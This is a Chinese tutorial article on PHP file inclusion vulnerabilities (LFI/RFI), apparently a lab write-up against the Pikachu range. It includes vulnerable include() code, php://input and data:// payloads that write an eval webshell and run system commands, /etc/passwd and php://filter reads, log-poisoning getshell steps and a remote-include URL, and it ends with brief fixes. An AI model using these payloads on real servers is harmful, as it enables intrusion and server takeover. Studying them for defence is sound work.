IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 文件包含漏洞 -> 正文阅读

[PHP知识库]文件包含漏洞

文件包含漏洞(属于任意代码执行)

0x01背景介绍

随着网站业务的需求,web脚本可能允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,包含的文件会被当成脚本文件执行。主要包括本地文件包含和远程文件包含两种形式。

0x02漏洞成因

文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。被包含的文件在第三方服务器时, 就形成了远程文件包含漏洞。
  本地到远程:如果php.ini的配置选项allow_url_fopen和allow_url_include为ON的话,则文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。
  include():当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
  include_once():这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。
  require():跟include唯一不同的是,当产生错误时,include下面继续运行而require停止运行了。
  require_once():它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。 与include_one() 区别 如果存在引用两个文件,只有第一个会被执行,第二个不会被引用。
  看到这四个函数时,看到有参数,且参数可控,没有过滤,或过滤不严,就一定有文件包含漏洞。

#常见漏洞代码:

if(isset($_GET[page])){
  include $_GET[page];
} else {
include "home.php";
}

触发漏洞的条件:

web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件。
    用户能够控制该动态变量。

0x03漏洞分类

1、 本地文件包含
2、 远程文件包含
3、 文件包含

0x04 漏洞危害

执行恶意脚本代码
控制网站
控制整个服务器

0x05漏洞利用

伪协议使用

https://blog.csdn.net/weixin_45617819/article/details/104705417

1.php://input

php://input(allow_url_fopen=0&allow_url_include=1)

php://input   
post内容
<?php fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST[cmd]); ?>'); ?>
上传成功后访问
http://localhost/pikachu/vul/fileinclude/shell.php?cmd=system('whoami');
http://localhost/pikachu/vul/fileinclude/shell.php?cmd=phpinfo();

2.file

file://(allow_url_fopen=0&allow_url_include=0),访问本地文件系统,必须用绝对路径

file:///etc/passwd
file:///C:/Windows/win.ini

3.php://filter

php://filter(allow_url_fopen=0&allow_url_include=0),base64编码读取源代码

php://filter/read=convert.base64-encode/resource=test.php

4.data://

data://(allow_url_fopen=1&allow_url_include=1)传输数据

	data://text/plain,<?php phpinfo()?>
	data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
	data://text/plain,<?php system('whoami')?>

在这里插入图片描述

本地文件包含、

上传图片,包含图片getshell。
读文件时,读php文件
包含日志文件getshell
包含/proc/self/environ文件getshell
如果有phpinfo 可以包含临时文件
包含data:// 或php://input 等协议(需要allow_url_include=On)
例子:

1. 包含上传的图片

GetShell_1:

<?php if($_GET[page]){ include($_GET[page]); }else{ include "show.php"; } ?>

GetShell_2:

<?php if($_GET[page]){ include("./action/".$_GET[page]); }else{ include "./action/show.php" } ?>

GetShell_3: %00截断

<?php if($_GET[page]){ include("./action/".$_GET[page].".php"); }else{ include "./action/show.php"; } ?>

2.1读文件 index.php?file=/etc/passwd

2.2读PHP文件    php://filter/read=convert.base64-encode/resource=1.txt

http://127.0.0.1/lfi/1/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
读的结果是一串密文,解密就看出来php代码了

2.3包含日志文件Getshell(首先找到日志文件存放位置,让日志文件插入php代码,包含日志文件)

1.首先找到日志文件存放位置 
        文件包含漏洞去读取apache配置文件/etc/httpd/conf/httpd.conf
        php文件错误信息保存在错误日志里面,其他的都保存在正常访问的日志里面/var/log/httpd/access_log
      2.让日志文件插入php代码
        burp改包,curl发包,php代码插入(必须带有php标签的,不能是转码后的)到get请求部分,或者user-agent部分。
      3.包含日志文件
        index.php?page=/var/log/httpd/access_log
3.包含环境变量文件GetShell
      需要PHP运行在CGI模式、然后和包含日志一样,在User-agent修改成payload。

远程文件包含

前提是:有远程文件包含漏洞的服务器的php.ini的配置选项allow_url_fopen和allow_url_include为ON。
1.       远程服务器存放一个txt文件,或者不被解析的php文件。index.php?page=http://www.xxx.com/1.txt
蚁剑连接webshell成功

2.扩展两个伪协议:

1.php://input

在这里插入图片描述

Burp抓包
在这里插入图片描述

2. data://
  1. <?php phpinfo(); ?>

data://text/plain;base64,PD9waHAgcGhwZmluZm8oKSA/Pg==
未成功

  1. <?php system("ipconfig"); ?>

data://text/plain;base64,PD9waHAgc3lzdGVtKCJpcGNvbmZpZyIpOyA/Pg==
成功

<?php phpfinfo() ?> base64加密 PD9waHAgcGhwZmluZm8oKSA/Pg==
  1. data://text/plain,<?php phpinfo();?>
    失败
    在这里插入图片描述

0x06漏洞挖掘

无通用性方法
  特定的CMS,特定的版本可能存在漏洞
  web漏洞扫描器扫描,常见web漏洞扫描器都支持文件包含漏洞的检测。

0x07修复方案
在这里插入图片描述

PHP中可以使用open_basedir配置限制访问限制在指定的区域。
  过滤.(点) /(反斜杠) (反斜杠)
禁止服务器远程文件包含

白名单限制
黑名单限制

参考

https://blog.csdn.net/weixin_45617819/article/details/104705417

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-10-23 12:16:55  更:2021-10-23 12:17:36 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/28 13:54:07-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计